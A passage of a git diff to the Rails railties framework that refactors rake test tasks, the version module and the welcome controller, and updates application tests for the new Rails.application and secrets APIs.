-  Rake::TestTask.new(recent: ["test:deprecated", "test:prepare"]) do |t|
-    since = TEST_CHANGES_SINCE
-    touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
-      recent_tests('app/models/**/*.rb', 'test/models', since) +
-      recent_tests('app/models/**/*.rb', 'test/unit', since) +
-      recent_tests('app/controllers/**/*.rb', 'test/controllers', since) +
-      recent_tests('app/controllers/**/*.rb', 'test/functional', since)
-
-    t.test_files = touched.uniq
-  end
-  Rake::Task['test:recent'].comment = "Deprecated; Test recent changes"
-
-  Rake::TestTask.new(uncommitted: ["test:deprecated", "test:prepare"]) do |t|
-    def t.file_list
-      if File.directory?(".svn")
-        changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] }
-      elsif system "git rev-parse --git-dir 2>&1 >/dev/null"
-        changed_since_checkin = silence_stderr { `git ls-files --modified --others --exclude-standard` }.split.map { |path| path.chomp }
-      else
-        abort "Not a Subversion or Git checkout."
-      end
-
-      models      = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
-      controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
-
-      unit_tests       = models.map { |model| "test/models/#{File.basename(model, '.rb')}_test.rb" } +
-                         models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" } +
-      functional_tests = controllers.map { |controller| "test/controllers/#{File.basename(controller, '.rb')}_test.rb" } +
-                         controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
-      (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
-    end
-  end
-  Rake::Task['test:uncommitted'].comment = "Deprecated; Test changes since last checkin (only Subversion and Git)"
-
   Rails::TestTask.new(single: "test:prepare")
 
-  Rails::TestTask.new(models: "test:prepare") do |t|
-    t.pattern = 'test/models/**/*_test.rb'
+  ["models", "helpers", "controllers", "mailers", "integration"].each do |name|
+    Rails::TestTask.new(name => "test:prepare") do |t|
+      t.pattern = "test/#{name}/**/*_test.rb"
+    end
   end
 
-  Rails::TestTask.new(helpers: "test:prepare") do |t|
-    t.pattern = 'test/helpers/**/*_test.rb'
+  Rails::TestTask.new(generators: "test:prepare") do |t|
+    t.pattern = "test/lib/generators/**/*_test.rb"
   end
 
   Rails::TestTask.new(units: "test:prepare") do |t|
     t.pattern = 'test/{models,helpers,unit}/**/*_test.rb'
   end
 
-  Rails::TestTask.new(controllers: "test:prepare") do |t|
-    t.pattern = 'test/controllers/**/*_test.rb'
-  end
-
-  Rails::TestTask.new(mailers: "test:prepare") do |t|
-    t.pattern = 'test/mailers/**/*_test.rb'
-  end
-
   Rails::TestTask.new(functionals: "test:prepare") do |t|
     t.pattern = 'test/{controllers,mailers,functional}/**/*_test.rb'
   end
-
-  Rails::TestTask.new(integration: "test:prepare") do |t|
-    t.pattern = 'test/integration/**/*_test.rb'
-  end
 end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 325c07e..df351c4 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,10 +1,8 @@
-module Rails
-  module VERSION
-    MAJOR = 4
-    MINOR = 0
-    TINY  = 2
-    PRE   = nil
+require_relative 'gem_version'
 
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+module Rails
+  # Returns the version of the currently loaded Rails as a string.
+  def self.version
+    VERSION::STRING
   end
 end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index 45b764f..de9cd18 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,7 @@
-class Rails::WelcomeController < ActionController::Base # :nodoc:
-  self.view_paths = File.expand_path('../templates', __FILE__)
-  layout nil
+require 'rails/application_controller'
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+  layout false
 
   def index
   end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index 4596805..56b8736 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -28,4 +28,6 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'rake', '>= 0.8.7'
   s.add_dependency 'thor', '>= 0.18.1', '< 2.0'
+
+  s.add_development_dependency 'actionview', version
 end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 491faf4..9ccc286 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -8,11 +8,21 @@ require 'fileutils'
 
 require 'active_support'
 require 'action_controller'
+require 'action_view'
 require 'rails/all'
 
 module TestApp
   class Application < Rails::Application
     config.root = File.dirname(__FILE__)
-    config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+    secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
   end
 end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_rails_loader_test.rb
index ceae78a..1d3b802 100644
--- a/railties/test/app_rails_loader_test.rb
+++ b/railties/test/app_rails_loader_test.rb
@@ -22,8 +22,14 @@ class AppRailsLoaderTest < ActiveSupport::TestCase
     exe = "#{script_dir}/rails"
 
     test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
-      File.stubs(:exists?).with('bin/rails').returns(false)
-      File.stubs(:exists?).with('script/rails').returns(false)
+      File.stubs(:file?).with('bin/rails').returns(false)
+      File.stubs(:file?).with('script/rails').returns(false)
+
+      assert !Rails::AppRailsLoader.exec_app_rails
+    end
+
+    test "is not in a Rails application if #{exe} exists but is a folder" do
+      FileUtils.mkdir_p(exe)
 
       assert !Rails::AppRailsLoader.exec_app_rails
     end
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
index b3b4044..9a571fa 100644
--- a/railties/test/application/asset_debugging_test.rb
+++ b/railties/test/application/asset_debugging_test.rb
@@ -14,7 +14,7 @@ module ApplicationTests
       app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/posts', to: "posts#index"
         end
       RUBY
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index 891e57e..4a8fc2d 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -37,15 +37,15 @@ module ApplicationTests
     end
 
     def assert_no_file_exists(filename)
-      assert !File.exists?(filename), "#{filename} does exist"
+      assert !File.exist?(filename), "#{filename} does exist"
     end
 
     test "assets routes have higher priority" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
+      app_file "app/assets/javascripts/demo.js.erb", "//= depend_on_asset 'rails.png'\na = <%= image_path('rails.png').inspect %>;"
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
         end
       RUBY
@@ -165,6 +165,29 @@ module ApplicationTests
       assert_file_exists("#{app_path}/public/assets/something-*.js")
     end
 
+    test 'precompile use assets defined in app env config' do
+      add_to_env_config 'production', 'config.assets.precompile = [ "something.js" ]'
+
+      app_file 'app/assets/javascripts/something.js.erb', 'alert();'
+
+      precompile! 'RAILS_ENV=production'
+
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+    end
+
+    test 'precompile use assets defined in app config and reassigned in app env config' do
+      add_to_config 'config.assets.precompile = [ "something.js" ]'
+      add_to_env_config 'production', 'config.assets.precompile += [ "another.js" ]'
+
+      app_file 'app/assets/javascripts/something.js.erb', 'alert();'
+      app_file 'app/assets/javascripts/another.js.erb', 'alert();'
+
+      precompile! 'RAILS_ENV=production'
+
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+      assert_file_exists("#{app_path}/public/assets/another-*.js")
+    end
+
     test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
       add_to_config "config.assets.digest = true"
       add_to_config "config.action_controller.perform_caching = false"
@@ -176,7 +199,8 @@ module ApplicationTests
     end
 
     test "precompile creates a manifest file with all the assets listed" do
-      app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/stylesheets/application.css.erb", "//= depend_on_asset 'rails.png'\n <%= asset_path('rails.png') %>"
       app_file "app/assets/javascripts/application.js", "alert();"
       # digest is default in false, we must enable it for test environment
       add_to_config "config.assets.digest = true"
@@ -256,7 +280,7 @@ module ApplicationTests
 
     test "precompile appends the md5 hash to files referenced with asset_path and run in production with digest true" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+      app_file "app/assets/stylesheets/application.css.erb", "//= depend_on_asset 'rails.png'\n<%= asset_path('rails.png') %>"
       add_to_config "config.assets.compile = true"
       add_to_config "config.assets.digest = true"
 
@@ -270,7 +294,7 @@ module ApplicationTests
 
     test "precompile should handle utf8 filenames" do
       filename = "レイルズ.png"
-      app_file "app/assets/images/#{filename}", "not a image really"
+      app_file "app/assets/images/#{filename}", "not an image really"
       add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
 
       precompile!
@@ -282,7 +306,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
 
       get "/assets/#{URI.parser.escape(asset_path)}"
-      assert_match "not a image really", last_response.body
+      assert_match "not an image really", last_response.body
       assert_file_exists("#{app_path}/public/assets/#{asset_path}")
     end
 
@@ -313,7 +337,7 @@ module ApplicationTests
       app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/omg', :to => "omg#index"
         end
       RUBY
@@ -376,18 +400,6 @@ module ApplicationTests
       assert_equal "Post;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
     end
 
-    test "assets can't access model information when precompiling if not initializing the app" do
-      app_file "app/models/post.rb", "class Post; end"
-      app_file "app/assets/javascripts/application.js", "//= require_tree ."
-      app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>"
-
-      add_to_config "config.assets.digest = false"
-      add_to_config "config.assets.initialize_on_precompile = false"
-
-      precompile!
-      assert_equal "NoPost;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
-    end
-
     test "initialization on the assets group should set assets_dir" do
       require "#{app_path}/config/application"
       Rails.application.initialize!(:assets)
@@ -437,23 +449,23 @@ module ApplicationTests
 
     test "asset urls should be protocol-relative if no request is in scope" do
       app_file "app/assets/images/rails.png", "notreallyapng"
-      app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
-      add_to_config "config.assets.precompile = %w{image_loader.js}"
+      app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
       add_to_config "config.asset_host = 'example.com'"
       precompile!
 
-      assert_match 'src="//example.com/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+      assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
     end
 
     test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
       ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
       app_file "app/assets/images/rails.png", "notreallyapng"
 
-      app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
-      add_to_config "config.assets.precompile = %w{app.js}"
+      app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png app.js}"
       precompile!
 
-      assert_match 'src="/sub/uri/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+      assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
     end
 
     test "assets:cache:clean should clean cache" do
@@ -475,7 +487,7 @@ module ApplicationTests
       app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/posts', :to => "posts#index"
         end
       RUBY
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 3e9f682..b4cef11 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -159,12 +159,12 @@ module ApplicationTests
       RUBY
 
       require "#{app_path}/config/application"
-      assert AppTemplate::Application.initialize!
+      assert Rails.application.initialize!
     end
 
     test "application is always added to eager_load namespaces" do
       require "#{app_path}/config/application"
-      assert AppTemplate::Application, AppTemplate::Application.config.eager_load_namespaces
+      assert Rails.application, Rails.application.config.eager_load_namespaces
     end
 
     test "the application can be eager loaded even when there are no frameworks" do
@@ -250,7 +250,7 @@ module ApplicationTests
 
     test "Use key_generator when secret_key_base is set" do
       make_basic_app do |app|
-        app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
         app.config.session_store :disabled
       end
 
@@ -268,6 +268,82 @@ module ApplicationTests
       assert_equal 'some_value', verifier.verify(last_response.body)
     end
 
+    test "application verifier can be used in the entire application" do
+      make_basic_app do |app|
+        app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        app.config.session_store :disabled
+      end
+
+      message = app.message_verifier(:sensitive_value).generate("some_value")
+
+      assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+
+      secret = app.key_generator.generate_key('sensitive_value')
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal 'some_value', verifier.verify(message)
+    end
+
+    test "application verifier can build different verifiers" do
+      make_basic_app do |app|
+        app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        app.config.session_store :disabled
+      end
+
+      default_verifier = app.message_verifier(:sensitive_value)
+      text_verifier = app.message_verifier(:text)
+
+      message = text_verifier.generate('some_value')
+
+      assert_equal 'some_value', text_verifier.verify(message)
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        default_verifier.verify(message)
+      end
+
+      assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+      assert_not_equal default_verifier.object_id, text_verifier.object_id
+    end
+
+    test "secrets.secret_key_base is used when config/secrets.yml is present" do
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+      YAML
+
+      require "#{app_path}/config/environment"
+      assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+    end
+
+    test "secret_key_base is copied from config to secrets when not set" do
+      remove_file "config/secrets.yml"
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+    end
+
+    test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+          aws_access_key_id: myamazonaccesskeyid
+          aws_secret_access_key: myamazonsecretaccesskey
+      YAML
+
+      require "#{app_path}/config/environment"
+      assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id
+      assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key
+    end
+
+    test "blank config/secrets.yml does not crash the loading process" do
+      app_file 'config/secrets.yml', <<-YAML
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_nil app.secrets.not_defined
+    end
+
     test "protect from forgery is the default in a new app" do
       make_basic_app
 
@@ -459,7 +535,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert ActionView::Resolver.caching?
+      assert_equal true, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading without cache_classes default" do
@@ -467,7 +543,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert !ActionView::Resolver.caching?
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading = false" do
@@ -478,7 +554,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert !ActionView::Resolver.caching?
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading = true" do
@@ -489,7 +565,21 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert ActionView::Resolver.caching?
+      assert_equal true, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading with cache_classes in an environment" do
+      build_app(initializers: true)
+      add_to_env_config "development", "config.cache_classes = false"
+
+      # These requires are to emulate an engine loading Action View before the application
+      require 'action_view'
+      require 'action_view/railtie'
+      require 'action_view/base'
+
+      require "#{app_path}/config/environment"
+
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_dispatch.show_exceptions is sent in env" do
@@ -679,5 +769,121 @@ module ApplicationTests
       end
       assert_equal Logger::INFO, Rails.logger.level
     end
+
+    test "respond_to? accepts include_private" do
+      make_basic_app
+
+      assert_not Rails.configuration.respond_to?(:method_missing)
+      assert Rails.configuration.respond_to?(:method_missing, true)
+    end
+
+    test "config.active_record.dump_schema_after_migration is false on production" do
+      build_app
+      ENV["RAILS_ENV"] = "production"
+
+      require "#{app_path}/config/environment"
+
+      assert_not ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "config.active_record.dump_schema_after_migration is true by default on development" do
+      ENV["RAILS_ENV"] = "development"
+
+      require "#{app_path}/config/environment"
+
+      assert ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "rake_tasks block works at instance level" do
+      $ran_block = false
+
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          rake_tasks do
+            $ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      require 'rake'
+      require 'rake/testtask'
+      require 'rdoc/task'
+
+      Rails.application.load_tasks
+      assert $ran_block
+    end
+
+    test "generators block works at instance level" do
+      $ran_block = false
+
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          generators do
+            $ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_generators
+      assert $ran_block
+    end
+
+    test "console block works at instance level" do
+      $ran_block = false
+
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          console do
+            $ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_console
+      assert $ran_block
+    end
+
+    test "runner block works at instance level" do
+      $ran_block = false
+
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          runner do
+            $ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      Rails.application.load_runner
+      assert $ran_block
+    end
+
+    test "loading the first existing database configuration available" do
+      app_file 'config/environments/development.rb', <<-RUBY
+
+      Rails.application.configure do
+        config.paths.add 'config/database', with: 'config/nonexistant.yml'
+        config.paths['config/database'] << 'config/database.yml'
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      db_config =  Rails.application.config.database_configuration
+
+      assert db_config.is_a?(Hash)
+    end
   end
 end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index bc794e1..8e76bf2 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -41,7 +41,7 @@ module ApplicationTests
 
     test "allows me to configure default url options for ActionMailer" do
       app_file "config/environments/development.rb", <<-RUBY
-        AppTemplate::Application.configure do
+        Rails.application.configure do
           config.action_mailer.default_url_options = { :host => "test.rails" }
         end
       RUBY
@@ -52,7 +52,7 @@ module ApplicationTests
 
     test "does not include url helpers as action methods" do
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
         end
       RUBY
@@ -115,7 +115,7 @@ module ApplicationTests
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get "/:controller(/:action)"
         end
       RUBY
@@ -182,7 +182,7 @@ module ApplicationTests
       end
       require "#{app_path}/config/environment"
       ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
-      assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+      assert ActiveRecord::Base.connection.schema_cache.tables("posts")
     end
 
     test "expire schema cache dump" do
@@ -192,7 +192,7 @@ module ApplicationTests
       end
       silence_warnings {
         require "#{app_path}/config/environment"
-        assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+        assert !ActiveRecord::Base.connection.schema_cache.tables("posts")
       }
     end
 
@@ -217,7 +217,7 @@ module ApplicationTests
         orig_database_url = ENV.delete("DATABASE_URL")
         orig_rails_env, Rails.env = Rails.env, 'development'
         database_url_db_name = "db/database_url_db.sqlite3"
-        ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
         ActiveRecord::Base.establish_connection
         assert ActiveRecord::Base.connection
         assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 17d0b10..bc34897 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -84,7 +84,7 @@ en:
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/i18n',   :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
         end
       RUBY
@@ -108,7 +108,7 @@ en:
       YAML
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/i18n',   :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
         end
       RUBY
@@ -183,5 +183,50 @@ en:
       load_app
       assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
     end
+
+    test "config.i18n.enforce_available_locales is set to true by default and avoids I18n warnings" do
+      add_to_config <<-RUBY
+        config.i18n.default_locale = :it
+      RUBY
+
+      output = capture(:stderr) { load_app }
+      assert_no_match %r{deprecated.*enforce_available_locales}, output
+      assert_equal true, I18n.enforce_available_locales
+
+      assert_raise I18n::InvalidLocale do
+        I18n.locale = :es
+      end
+    end
+
+    test "disable config.i18n.enforce_available_locales" do
+      add_to_config <<-RUBY
+        config.i18n.enforce_available_locales = false
+        config.i18n.default_locale = :fr
+      RUBY
+
+      output = capture(:stderr) { load_app }
+      assert_no_match %r{deprecated.*enforce_available_locales}, output
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
+
+    test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+      I18n.enforce_available_locales = false
+
+      add_to_config <<-RUBY
+        config.i18n.default_locale = :fr
+      RUBY
+
+      output = capture(:stderr) { load_app }
+      assert_no_match %r{deprecated.*enforce_available_locales}, output
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
   end
 end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index 0c66213..cd05956 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -71,11 +71,25 @@ module ApplicationTests
       assert Zoo
     end
 
+    test "eager loading accepts Pathnames" do
+      app_file "lib/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.eager_load_paths << Pathname.new("#{app_path}/lib")
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Foo
+    end
+
     test "load environment with global" do
       $initialize_test_set_from_env = nil
       app_file "config/environments/development.rb", <<-RUBY
         $initialize_test_set_from_env = 'success'
-        AppTemplate::Application.configure do
+        Rails.application.configure do
           config.cache_classes = true
           config.time_zone = "Brasilia"
         end
@@ -89,8 +103,8 @@ module ApplicationTests
 
       require "#{app_path}/config/environment"
       assert_equal "success", $initialize_test_set_from_env
-      assert AppTemplate::Application.config.cache_classes
-      assert_equal "Brasilia", AppTemplate::Application.config.time_zone
+      assert Rails.application.config.cache_classes
+      assert_equal "Brasilia", Rails.application.config.time_zone
     end
   end
 end
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index baae6fd..95655b7 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -39,5 +39,18 @@ module ApplicationTests
       assert_equal 1, logger.logged(:debug).size
       assert_match(/SHOW tables/, logger.logged(:debug).last)
     end
+
+    test 'rails load_config_initializer event is instrumented' do
+      app_file 'config/initializers/foo.rb', ''
+
+      events = []
+      callback = ->(*_) { events << _ }
+      ActiveSupport::Notifications.subscribed(callback, 'load_config_initializer.railties') do
+        app
+      end
+
+      assert_equal %w[load_config_initializer.railties], events.map(&:first)
+      assert_includes events.first.last[:initializer], 'config/initializers/foo.rb'
+    end
   end
 end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index 662eb64..4f30f30 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -36,7 +36,7 @@ class LoadingTest < ActiveSupport::TestCase
   test "models without table do not panic on scope definitions when loaded" do
     app_file "app/models/user.rb", <<-MODEL
       class User < ActiveRecord::Base
-        default_scope where(published: true)
+        default_scope { where(published: true) }
       end
     MODEL
 
@@ -48,7 +48,7 @@ class LoadingTest < ActiveSupport::TestCase
 
   test "load config/environments/environment before Bootstrap initializers" do
     app_file "config/environments/development.rb", <<-RUBY
-      AppTemplate::Application.configure do
+      Rails.application.configure do
         config.development_environment_loaded = true
       end
     RUBY
@@ -60,7 +60,7 @@ class LoadingTest < ActiveSupport::TestCase
     RUBY
 
     require "#{app_path}/config/environment"
-    assert ::AppTemplate::Application.config.loaded
+    assert ::Rails.application.config.loaded
   end
 
   test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
@@ -75,7 +75,7 @@ class LoadingTest < ActiveSupport::TestCase
     MODEL
 
     app_file 'config/routes.rb', <<-RUBY
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/load',   to: lambda { |env| [200, {}, Post.all] }
         get '/unload', to: lambda { |env| [200, {}, []] }
       end
@@ -96,7 +96,7 @@ class LoadingTest < ActiveSupport::TestCase
 
   test "initialize cant be called twice" do
     require "#{app_path}/config/environment"
-    assert_raise(RuntimeError) { ::AppTemplate::Application.initialize! }
+    assert_raise(RuntimeError) { Rails.application.initialize! }
   end
 
   test "reload constants on development" do
@@ -105,7 +105,7 @@ class LoadingTest < ActiveSupport::TestCase
     RUBY
 
     app_file 'config/routes.rb', <<-RUBY
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
       end
     RUBY
@@ -144,7 +144,7 @@ class LoadingTest < ActiveSupport::TestCase
     RUBY
 
     app_file 'config/routes.rb', <<-RUBY
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
       end
     RUBY
@@ -180,7 +180,7 @@ class LoadingTest < ActiveSupport::TestCase
 
     app_file 'config/routes.rb', <<-RUBY
       $counter ||= 0
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
       end
     RUBY
@@ -213,7 +213,7 @@ class LoadingTest < ActiveSupport::TestCase
     app_file 'config/routes.rb', <<-RUBY
       $counter ||= 1
       $counter  *= 2
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
       end
     RUBY
@@ -244,7 +244,7 @@ class LoadingTest < ActiveSupport::TestCase
     RUBY
 
     app_file 'config/routes.rb', <<-RUBY
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get '/title', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
         get '/body',  to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
       end
@@ -303,7 +303,7 @@ class LoadingTest < ActiveSupport::TestCase
     RUBY
 
     app_file "config/routes.rb", <<-RUBY
-      AppTemplate::Application.routes.draw do
+      Rails.application.routes.draw do
         get "/:controller(/:action)"
       end
     RUBY
@@ -321,10 +321,10 @@ class LoadingTest < ActiveSupport::TestCase
     require "#{app_path}/config/application"
